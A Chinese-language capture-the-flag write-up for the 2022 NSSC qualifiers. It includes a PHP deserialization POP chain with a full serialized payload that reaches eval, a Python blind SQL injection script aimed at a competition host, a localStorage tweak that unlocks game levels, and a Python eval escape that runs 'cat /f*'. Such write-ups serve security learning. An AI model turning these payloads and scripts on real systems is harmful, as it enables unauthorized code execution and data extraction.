2022 NSSC Quals
Web
EzPop
来挖个利用链?
代码中给出了七个类,需要找出一条可利用的链子调用到 evil 类中的 load 方法。
首先需要注意的是只有 a 类中含有可能直接反序列化能触发到的 __destruct 方法,因此思路从此处开始。
public function __destruct(){
foreach ($this->_keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
进入到 clearAll 方法中继续跟进,其中一个判断中含有拼接,考虑接下来利用 __toString 方法。
if (array_key_exists($nsKey, $this->_keys)) {
foreach ($this->_keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->_path.'/'.$nsKey)) {
rmdir($this->_path.'/'.$nsKey);
}
unset($this->_keys[$nsKey]);
}
由于只有 b 类中含有此方法,因此此时令 _path 为 new b()。根据上文的判断要求 _keys 不为空,否则即返回,因此构造其中的属性值如下。
private $_keys = array(1);
function __construct(){
$this->_path = new b();
}
跟进到 b 类中,可以发现其中 stringify 存在 __call 的调用形式。c 类与 d 类中皆有此魔术方法,但是 d 类中的暂时不可控,因此走 c 类。此时兼顾代码处理可以发现 rule 的值需要为 stringify 的最后一个字母 y,同时存在一个可控参数。
$rule = Str::snake(substr($method, 8));
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
跟进到 callExtension 方法可知只要其 callback 不为闭包即可执行到 callClassBasedExtension 从而走到其里面含有的 call_user_func_array。
protected function callClassBasedExtension($callback, $parameters){
list($class, $method) = explode('@', $callback);
return call_user_func_array([$this->container->make($class), $method], $parameters);
}
跟进到这里我们有了第一个可控的类名和方法名以及参数的函数调用。我们需要设法让 $this->container->make($class) 变成 evil 类,因此需要用到前文提到的只能返回一个值暂时不可控的 d 类。
public function __construct(){
$this->default = new evil();
}
如上构造可以使得其中魔术方法返回一个 evil 实例,此时再将 method 设定为 load 即可调用 evil 类中的 load 方法。此时根据要求构造一下 c 类中的属性。
public function __construct(){
$this->extensions["y"] = "evil@load";
$this->container = new d();
}
根据 evil 类中 load 方法对参数提出的类型推导我们得到需要传入 e 类型参数,因此需要 c 类中最后的 parameter 是一个 e 类的实例,因此 b 类最终构造如下。
public function __construct(){
$this->util = new c();
$this->value = new e();
}
根据 evil 类中的要求,我们需要让一个未加载的类进入判断,在尝试之下可以得到当 d 类的实例传入其中时可以满足要求。此时触发到 eval 执行拼接的代码。因此 e 类构造如下。
public function __construct(){
$this->config = new d();
$this->code = "<?php readfile('/flag'); ?>";
}
至此整个链条清晰可用。讲所有的构造函数放进对应的类中,序列化即可得到正确的载荷。
O%3A1%3A%22a%22%3A2%3A%7Bs%3A8%3A%22%00a%00_path%22%3BO%3A1%3A%22b%22%3A3%3A%7Bs%3A7%3A%22%00b%00name%22%3BN%3Bs%3A8%3A%22%00b%00value%22%3BO%3A1%3A%22e%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A1%3A%22d%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3BO%3A4%3A%22evil%22%3A0%3A%7B%7D%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A27%3A%22%3C%3Fphp+readfile%28%27%2Fflag%27%29%3B+%3F%3E%22%3B%7Ds%3A7%3A%22%00b%00util%22%3BO%3A1%3A%22c%22%3A2%3A%7Bs%3A12%3A%22%00%2A%00container%22%3BO%3A1%3A%22d%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3BO%3A4%3A%22evil%22%3A0%3A%7B%7D%7Ds%3A13%3A%22%00%2A%00extensions%22%3Ba%3A1%3A%7Bs%3A1%3A%22y%22%3Bs%3A9%3A%22evil%40load%22%3B%7D%7D%7Ds%3A8%3A%22%00a%00_keys%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7D
flag{77822183710576918699758885741186}
voucher
考点是盲注,主要是注意一下假的验证码还有猜一下 code 字段。
import re
import httpx as requests
flag = ""
session = requests.Client(
cookies={
"td_cookie": "3504585744",
"PHPSESSID": "dfe22859ebe7bf98074db17a89e9da59"
},
base_url="http://80.endpoint-db67328b60474706be1f16f2aa5ea780.dasc.buuoj.cn:81",
headers={
"User-Agent": "LemonPrefect/Soda 1.1"
}
)
for i in range(1, 200):
low = 32
high = 126
while low <= high:
mid = int((low + high) / 2)
response = session.get("/index.php")
code = re.findall(r"pic/(\d+)\.jpg", response.text)[0]
response = session.post("/func.php", json={
# "name": f"'||/**/ascii(substr(database(), {i}, 1))>{mid}#", # ctf
"name": f"'|| ascii(substr((code), {i}, 1)) > {mid}#",
"authcode": code
})
if "错误" in response.content.decode():
high = mid - 1
else:
low = mid + 1
if mid == 32 or mid == 126:
exit(0)
mid_num = int((high + low + 1) / 2)
flag += chr(mid_num)
print(flag)
超级马里奥
js 中 gameplay 块有如下代码。
// Win
if(win){
win_frame++;
c.fillText("CLEARED!", 640, 300);
c.font = "bold 30px arial";
if(last_screen == 1){
c.fillRect(450, 350, 400, 130);
c.fillStyle = "#fff";
document.title = chrono;
c.fillText("Time: " + (chrono / 30).toFixed(2) + "s", 640, 400);
c.fillText("Dev record: " + (level_data.record / 30).toFixed(2) + "s", 640, 450);
if(localStorage["scpm" + level]){
localStorage["scpm" + level] = Math.min(+localStorage["scpm" + level], chrono);
}
else{
localStorage["scpm" + level] = chrono;
}
}
}
其中 scpm 存储了解锁的关卡,使用如下指令将关卡解锁到第三十关。
localStorage["scpm"] = 30;
此时进入第三十关得到路由。
访问对应的路由即可得到 flag。
flag{92117100801392039853192597708018}
Misc
calc
我写了一个计算器,还加了付费会员功能。
calc 方法中限定了九个字符执行。
def calc():
line = input(" >>> ")
if(len(line)>9):
return print("500 Internal Server Error\n")
try:
print(eval(line))
except:
pass
尝试获取到其中的 key 来进一步利用,此处用 help(key)
可以得出其中的 key。
此时再使用高级的不限字符的 super_calc 进一步利用。
__import__('os').system("cat /f*")
flag{24854307731716308420834347268609}